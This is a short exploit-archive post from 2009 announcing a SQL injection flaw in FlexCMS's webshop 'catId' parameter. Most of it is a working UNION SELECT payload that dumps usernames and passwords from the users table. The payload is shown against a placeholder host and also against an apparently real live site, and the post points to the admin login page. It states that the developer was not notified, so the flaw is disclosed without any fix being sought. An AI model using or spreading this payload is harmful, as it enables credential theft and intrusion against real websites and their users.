FlexCMS (catId) Remote SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : FlexCMS (catId) Remote SQL Injection Vulnerability
# Published : 2009-02-09
# Author : MisterRichard
# Previous Title : SnippetMaster Webpage Editor 2,2,2 (RFI/XSS) Multiple Vulnerabilities
# Next Title : ZeroBoardXE 1.1.5 (09.01.22) XSS Vulnerability

AUTHOR: MisterRichard

FlexCMS Remote SQL Injection

Discovered by MisterRichard.

Developer site: http://www.flexcms.dk/

Developer has not been notified.

Live demo:

Injection: www.target.com/flx/webshop/?catId=145%20union%20all%20select%201,2,3,concat(username,char(58),password)+from+users--

http://www.radikalungdom.dk/flx/webshop/?catId=145%20union%20all%20select%201,2,3,concat(username,char(58),password)+from+users--

Admin login site:

http://target.com/flexadmin/

Greetz, agonx, kollek, cardingnu

# www.Syue.com [2009-02-09]